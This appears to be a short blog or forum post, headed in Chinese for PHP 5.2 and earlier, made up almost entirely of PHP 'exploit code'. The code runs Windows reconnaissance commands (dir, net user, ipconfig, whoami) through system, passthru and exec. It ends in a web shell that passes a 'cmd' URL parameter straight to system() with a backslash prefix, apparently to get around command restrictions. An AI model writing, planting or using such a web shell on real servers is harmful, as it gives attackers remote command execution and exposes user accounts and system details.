php版本小于等于5.2.*
<?php
//Exploit Code
system('\dir');
system('\net user');
print passthru ('\ipconfig');
exec('\whoami',$a);
print_r($a);
//Shell Script
//shell.php?cmd=net user
$cmd = '\\'.$_GET['cmd'];
system($cmd);
?>
评论 (0)